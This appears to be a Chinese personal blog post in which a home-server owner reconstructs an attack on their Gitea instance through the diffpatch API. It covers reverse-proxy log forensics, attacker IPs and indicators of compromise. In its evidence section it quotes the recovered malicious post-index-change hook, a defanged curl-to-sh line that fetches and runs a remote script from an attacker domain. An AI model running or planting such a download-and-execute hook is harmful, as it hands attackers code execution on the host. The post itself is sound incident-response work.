avatar

命令行小屋

A text-focused Halo theme

  • Ai
  • Linux
  • 游戏
  • 数据库
  • Apache Hadoop
  • Windows
  • 手机
主页 我的 Gitea 被攻击实录:从 CPU 异常到确认服务器端 RCE 的完整排查过程
文章

我的 Gitea 被攻击实录:从 CPU 异常到确认服务器端 RCE 的完整排查过程

发表于 最近 更新于 最近
作者 KennethCheng
36~46 分钟 阅读

一次真实的家庭服务器安全事故复盘。

从最开始怀疑“是不是 CPU 被打高了”,到最终在 Git 仓库中找到攻击者留下的 post-index-change Hook,我花了不少时间才把整个攻击链拼起来。

这次事件也让我意识到:看到异常访问并不可怕,可怕的是只看到了访问日志,却没有继续追踪服务器上的文件和 Git 数据。


ac34702d-a89e-4253-8f62-aadd52ec7a11.png

一、事情是怎么开始的?

我的 Gitea 部署在内网环境,通过 Nginx Proxy Manager 对外提供访问。

整体拓扑大致是:

Internet
   │
   ▼
公网 VPS / Nginx Proxy Manager
   │
   │ WireGuard
   ▼
10.10.10.102
   │
   ▼
10.10.10.103
   │
   └── Gitea

这里有一个非常容易误判的地方:

Gitea 日志里看到的 10.10.10.102 并不是攻击者 IP。

它只是内部的反向代理/转发节点。

真正的公网客户端 IP,需要去看 Nginx Proxy Manager 的访问日志。

这也是整个排查过程中非常关键的一步。


二、第一阶段:先从 Nginx Proxy Manager 日志查

我的 Gitea 对应 Nginx Proxy Manager 日志文件是:

proxy-host-30_access.log

先进入 Nginx 容器:

docker exec -it nginx sh

然后查看 Gitea 的访问记录。

例如:

grep "14/Aug/2026:08:0" /data/logs/proxy-host-30_access.log

为了快速筛选攻击者明显针对 API 的请求,我使用了:

grep "14/Aug/2026:08:0" /data/logs/proxy-host-30_access.log \
| grep -Ei "api/v1|diffpatch"

进一步统计公网 IP:

grep "14/Aug/2026:08:0" /data/logs/proxy-host-30_access.log \
| grep -Ei "api/v1|diffpatch" \
| sed -n "s/.*\[Client \([^]]*\)\].*/\1/p" \
| sort | uniq -c | sort -nr

结果非常明显:

10 172.234.102.123
 2 114.10.45.95

这时候基本可以确定:

有人正在集中访问 Gitea API,而且不是正常用户的普通 Git 操作。


三、真正可疑的是 /diffpatch

继续搜索:

grep -nEi "gitea1337|giteaa1337|diffpatch" \
/data/logs/proxy-host-30_access.log

很快就出现了大量类似这样的请求:

POST /api/v1/repos/gitea1337/gitea-1337/diffpatch

而且 HTTP 状态码是:

201

例如:

[14/Aug/2026:08:03:00 +0800]
201 201
POST
/api/v1/repos/gitea1337/gitea-1337/diffpatch
[Client 172.234.102.123]
[Sent-to 10.10.10.103]

随后又有:

[14/Aug/2026:08:03:05 +0800]
201 201
POST
/api/v1/repos/gitea1337/gitea-1337/diffpatch
[Client 172.234.102.123]

更关键的是,攻击者紧接着读取:

GET /api/v1/repos/gitea1337/gitea-1337/raw/proof?ref=rce-proof

并返回:

200

这时候事情已经非常不正常了。

因为攻击者不是简单地扫描一个 API。

他的行为已经形成了一个完整流程:

创建用户/访问注册页面
        ↓
创建 Git Repository
        ↓
查询 Repository
        ↓
调用 diffpatch
        ↓
再次修改 Repository
        ↓
读取 rce-proof

四、攻击者甚至在批量创建测试仓库

继续观察日志,可以看到大量随机命名的 Repository。

例如:

testpoc93555/poc-88040
testpoc46919/poc-45327
testpoc80024/poc-53051
testpoc37242/poc-12840

攻击者显然不是在操作我的正常代码仓库。

这些 Repository 的名字本身就非常具有特征:

test
poc
1337
rce
proof

其中:

  • poc = Proof of Concept
  • rce = Remote Code Execution
  • proof = 用于证明执行成功

这已经很接近典型的漏洞利用自动化测试流程。


五、最关键的证据:攻击者留下了 rce-proof

到了这里,我原本还在考虑:

会不会只是漏洞扫描器在测试,并没有真正执行代码?

于是继续检查 Repository 的内容。

日志里出现了:

GET /api/v1/repos/gitea1337/gitea-1337/raw/proof?ref=rce-proof

而且返回:

200

攻击者明显在读取一个叫:

rce-proof

的分支中的:

proof

文件。

这已经不是普通的扫描请求了。

于是继续检查 Git Repository。

最终找到了真正关键的东西。


六、服务器上的 Git Hook 才是决定性证据

在被攻击的 Repository 中,我恢复出了一个 Git Hook:

hooks/post-index-change

它的核心内容是:

curl -s -k hxxps://repositoryubuntu[.]publicvm[.]com/cronsys | sh

这里我在博客中对恶意地址进行了脱敏。

这个 Hook 的含义非常直接:

Git 操作触发
      ↓
执行 post-index-change
      ↓
curl 下载远程内容
      ↓
通过 sh 执行

换句话说:

这已经不是“有人在访问我的 Gitea”。

而是:

攻击者成功让 Gitea 服务器上的 Git Repository 出现了恶意 Hook,并尝试通过 Hook 执行远程 Shell 脚本。

这也是整个事件中最重要的证据。


七、Git 历史也留下了攻击痕迹

进一步查看 Git 历史,可以看到类似:

Initial commit
apply-1
apply-2
rce proof

这和前面的 HTTP 日志能够完整对应起来。

攻击流程大致可以还原成:

攻击者
  │
  ├── 创建测试 Repository
  │
  ├── 调用 diffpatch
  │
  ├── 修改 Git 数据
  │
  ├── 写入 Hook
  │
  ├── 触发 Git 操作
  │
  ├── Hook 下载远程 Shell
  │
  └── 创建 rce-proof

这时候已经有充分证据证明:

攻击者不是停留在漏洞扫描阶段,而是已经完成了服务器端代码执行链条中的关键步骤。


八、为什么最开始我会误以为只是“CPU 被打高”?

因为最初看到的是系统层面的异常。

CPU 异常很容易让人产生几个猜测:

CPU 高
 ↓
是不是 Docker 某个容器有问题?
 ↓
是不是有人疯狂请求?
 ↓
是不是挖矿?
 ↓
是不是服务器被入侵?

但 CPU 高本身并不能证明服务器被入侵。

真正可靠的判断必须建立在证据链上:

网络访问
   ↓
反向代理日志
   ↓
真实公网 IP
   ↓
异常 API
   ↓
成功 HTTP 状态码
   ↓
Repository 创建/修改
   ↓
Git 历史
   ↓
Git Hook
   ↓
服务器端执行

这条链完整以后,结论才真正成立。


九、为什么 Gitea 日志里的 IP 会误导排查?

这是这次事故中我认为非常值得记录的一点。

Gitea 实际上看到的请求来源是:

10.10.10.102

但 Nginx Proxy Manager 的日志会同时记录:

[Client 172.234.102.123]
[Sent-to 10.10.10.103]

因此:

172.234.102.123
        ↓
公网攻击者

10.10.10.102
        ↓
反向代理 / WireGuard 转发节点

10.10.10.103
        ↓
真正的 Gitea

如果只看 Gitea 自己的日志,很容易把:

10.10.10.102

误认为攻击源。

所以:

部署在反向代理后面的 Web 服务,调查攻击来源时一定要优先确认真实客户端 IP 是在哪里记录的。


十、攻击者使用了大量伪装 User-Agent

日志中还能看到非常奇怪的 User-Agent。

例如同一个攻击 IP 在很短时间内不断切换:

Firefox
Chrome
Safari
Macintosh
Ubuntu
Linux
Windows

甚至版本号也非常混乱。

例如:

Firefox/3.6.12
Firefox/68.0
Firefox/101.0
Chrome/91
Chrome/131
Safari/604.1

这明显不像正常浏览器用户。

更合理的解释是:

攻击工具在随机伪造 User-Agent,以降低简单规则检测的效果。

所以安全分析时:

User-Agent 可以作为辅助 IOC,但绝对不能把它当成真实客户端身份。

真正值得关注的是:

IP
时间
URL
HTTP 方法
状态码
请求序列
Repository 名称
Git 操作

十一、从日志来看,攻击并不是一次性的

我继续往前搜索历史日志,发现这种行为并不是只发生在 8 月 14 日。

例如 8 月 13 日就已经出现:

POST /api/v1/repos/testpoc93555/poc-88040/diffpatch

来源:

172.235.229.243

以及:

POST /api/v1/repos/testpoc46919/poc-45327/diffpatch

同样返回:

201

之后又出现:

POST /api/v1/repos/testpoc80024/poc-53051/diffpatch

来源:

103.13.206.65

同样出现:

201

这说明:

攻击者并不是某一个 IP 偶然打过来一次,而是已经存在自动化利用行为。

而且从不同 IP、随机 Repository 名称、随机 User-Agent 的组合来看,更像是批量化的漏洞利用/验证活动。


十二、一个非常有意思的细节:攻击者自己也在验证漏洞是否成功

最典型的就是:

POST .../diffpatch

然后:

GET .../raw/proof?ref=rce-proof

这相当于:

攻击
 ↓
写入
 ↓
触发
 ↓
读取结果
 ↓
确认 RCE

因此:

201

本身并不是最关键的证据。

真正重要的是:

攻击者写入了特定内容,并随后主动读取 rce-proof 来验证结果。

这是一种非常典型的 PoC 验证模式。


十三、这次事件到底意味着什么?

这里需要把几个概念分清楚。

1. “有人扫描我”

只能证明:

攻击者访问了服务

不代表入侵成功。

2. “有人调用漏洞接口”

说明:

攻击者正在尝试利用漏洞

仍然不能单独证明 RCE 成功。

3. “服务器出现攻击者创建的 Repository”

说明攻击者已经拥有了一定的应用层操作能力。

4. “服务器出现攻击者控制的 Git Hook”

事情性质已经完全不同。

因为 Git Hook 是服务器端执行机制。

5. “Hook 中存在远程 Shell 下载并执行”

这就是非常强的服务器端代码执行证据。

所以最终结论应该是:

本次事件不是单纯的恶意扫描,而是一次针对 Gitea 的实际漏洞利用,并且攻击者已经成功将恶意 Git Hook 写入服务器侧 Repository,形成了服务器端命令执行链。


十四、这次排查过程中最重要的几个命令

以后如果再遇到类似问题,我认为最有价值的是先保存现场,然后从反向代理日志入手。

1. 查看 Gitea 对应日志

docker exec nginx sh -c '
grep -Ei "gitea|api/v1|diffpatch" \
/data/logs/proxy-host-30_access.log
'

2. 统计攻击 IP

docker exec nginx sh -c '
grep -Ei "api/v1|diffpatch" \
/data/logs/proxy-host-30_access.log |
sed -n "s/.*\[Client \([^]]*\)\].*/\1/p" |
sort | uniq -c | sort -nr
'

3. 搜索攻击者 Repository

docker exec nginx sh -c '
grep -nEi "gitea1337|giteaa1337|diffpatch" \
/data/logs/proxy-host-30_access.log
'

4. 搜索所有 Nginx 日志

docker exec nginx sh -c '
grep -RniE "gitea1337|giteaa1337|diffpatch" \
/data/logs 2>/dev/null
'

十五、真正让我警醒的是:日志只是第一层

如果这次排查停在:

Nginx 日志
 ↓
发现几个奇怪 IP
 ↓
封 IP
 ↓
结束

那么我实际上并没有完成安全调查。

因为:

封 IP 解决不了已经发生的入侵。

正确的顺序应该是:

第一层:网络
    ↓
谁访问了我?

第二层:应用
    ↓
访问了什么 API?

第三层:数据
    ↓
修改了什么 Repository?

第四层:文件系统
    ↓
留下了什么文件?

第五层:执行链
    ↓
有没有 Hook / Cron / systemd / Shell?

第六层:持久化
    ↓
攻击者有没有留下后门?

第七层:凭证
    ↓
Token / SSH Key / 密钥有没有泄露?

这次事件正是因为继续往下查,最终才找到了 Git Hook。


十六、最终应该如何理解这次攻击?

把整个事件压缩成一句话:

一个暴露在公网的 Gitea 实例,被自动化攻击者发现后,通过异常的 Repository API / diffpatch 操作进行漏洞利用,创建 PoC Repository,并最终在服务器侧 Git Repository 中留下 post-index-change Hook,通过远程 Shell 下载执行来验证 RCE。

完整攻击链可以画成:

                    Internet
                       │
                       ▼
              攻击者 / 自动化工具
                       │
                       ▼
             外网域名
                       │
                       ▼
             Nginx Proxy Manager
                       │
                       ▼
              10.10.10.102
                       │
                  WireGuard
                       │
                       ▼
              10.10.10.103
                       │
                       ▼
                    Gitea
                       │
              ┌────────┴────────┐
              ▼                 ▼
        创建测试仓库        调用 diffpatch
              │                 │
              └────────┬────────┘
                       ▼
                 修改 Git 数据
                       │
                       ▼
              写入 post-index-change
                       │
                       ▼
                 Git Hook 被触发
                       │
                       ▼
              下载远程 Shell
                       │
                       ▼
                  执行命令
                       │
                       ▼
                  rce-proof
                       │
                       ▼
              攻击者读取验证结果

十七、这次事故最大的教训

教训一:公网暴露的服务迟早会被扫描

只要:

域名
 +
公网 IP
 +
公开服务

存在,就不要认为:

“我的服务没人知道。”

自动化扫描器根本不在乎你是谁。


教训二:HTTP 200 / 201 不是普通日志

如果攻击请求出现:

POST
201

不要只看成“接口调用成功”。

要继续问:

成功做了什么?

尤其是:

POST /api/...
201

紧接着:

GET /raw/...
200

这种连续行为,非常值得调查。


教训三:反向代理日志比后端日志更重要

部署结构:

Internet
 ↓
Nginx
 ↓
Gitea

那么攻击者真实 IP 通常应该从 Nginx 的:

[Client ...]

字段获取。

而不是直接相信后端:

192.168.x.x

教训四:发现攻击后不要急着重启

如果确认存在入侵迹象,第一反应不应该是:

docker restart gitea

然后:

“好了,没事了。”

因为重启可能破坏现场。

更合理的是:

保存日志
 ↓
记录时间
 ↓
记录攻击 IP
 ↓
记录容器状态
 ↓
检查文件
 ↓
检查 Git Repository
 ↓
检查 Hook
 ↓
检查 Cron
 ↓
检查 systemd
 ↓
检查 SSH
 ↓
最后再处理

十八、最后总结

这次事件让我最大的感受不是:

“Gitea 有漏洞。”

而是:

安全事件真正难的,从来不是发现有人攻击,而是证明攻击到底走到了哪一步。

最开始:

CPU 异常

只能说明:

有异常

然后:

Nginx 日志

证明:

确实有公网攻击流量

继续:

/api/v1/repos
/diffpatch

证明:

攻击者正在主动利用 Gitea

再继续:

创建 poc Repository

证明:

攻击已经影响到应用层数据

最后找到:

hooks/post-index-change

里面出现远程 Shell:

hxxps://repositoryubuntu[.]publicvm[.]com/cronsys

这才真正把整条攻击链闭环。

所以以后再遇到类似情况,我不会再简单地问:

“我的服务器是不是被攻击了?”

而会直接问:

“攻击者进入了哪一层?修改了什么?执行了什么?留下了什么?有没有持久化?”

这才是一次完整的服务器安全事故排查。


附:本次事件的关键 IOC

类型内容
目标外网域名
Nginx 日志proxy-host-30_access.log
后端 Gitea10.10.10.103
内部转发节点10.10.10.102
主要攻击 IP172.234.102.123
其他攻击 IP172.235.229.243、103.13.206.65、114.10.45.95
主要攻击接口/api/v1/repos/*/diffpatch
Repository 特征testpoc*、gitea1337、giteaa1337
验证分支rce-proof
验证文件proof
恶意 Hookhooks/post-index-change
恶意行为远程下载并执行 Shell
事件性质Gitea 应用层漏洞利用 / 服务器端 RCE 链条

注:以上时间均为日志中的 +0800 时间;攻击 IP、Repository 名称和恶意地址来自实际排查记录。

fnOS
docker
许可协议:  CC BY 4.0
分享

相关文章

8月 15, 2026

我的 Gitea 被攻击实录:从 CPU 异常到确认服务器端 RCE 的完整排查过程

一次真实的家庭服务器安全事故复盘。 从最开始怀疑“是不是 CPU 被打高了”,到最终在 Git 仓库中找到攻击者留下的 post-index-change Hook,我花了不少时间才把整个攻击链拼起来。 这次事件也让我意识到:看到异常访问并不可怕,可怕的是只看到了访问日志,却没有继续追踪服务器上的文

5月 4, 2026

故障排查记录:阿里云 fnOS 网络不可达 (Network is Unreachable)

💡 故障排查记录:阿里云 fnOS 网络不可达 (Network is Unreachable) 本文档记录了阿里云 fnOS 系统出现 network is unreachable 故障的完整排查与修复过程。 故障现象: 服务器突然断网,无法 ping 通外网。 1. 发现问题:查看当前路由表

5月 3, 2026

阿里云fNOS 上优雅部署 WireGuard 客户端

在 NAS 环境和家庭实验室架构中,分流(Split Tunneling)是一项兼顾安全与效率的核心网络实践。本教程将指导你如何在 fNOS 系统中,通过 Docker 部署 WireGuard 客户端,并配置 host 主机网络模式。 🎯 最终目标: 精确路由:仅针对 192.168.50.x

下一篇

上一篇

New API vs LiteLLM:大模型 API 网关终极对决,6 维对比一篇说透

最近更新

  • 我的 Gitea 被攻击实录:从 CPU 异常到确认服务器端 RCE 的完整排查过程
  • New API vs LiteLLM:大模型 API 网关终极对决,6 维对比一篇说透
  • 3 分钟把 100 个大模型塞进一个 API:用 LiteLLM 给公司搭一层 LLM 网关
  • ComfyUI 修复 SageAttention 报错指南:解决 MiniMax H3 Memory Efficient Sage Attention Patch 安装失败问题
  • 零代码造 Agent 的时代来了:LangSmith Fleet 完全上手指南

热门标签

samsung WireGuard Chevereto docker 破解 llama MiniMax-H3 ComfyUI LangChain Ai

目录

©2026 命令行小屋. 保留部分权利。

使用 Halo 主题 Chirpy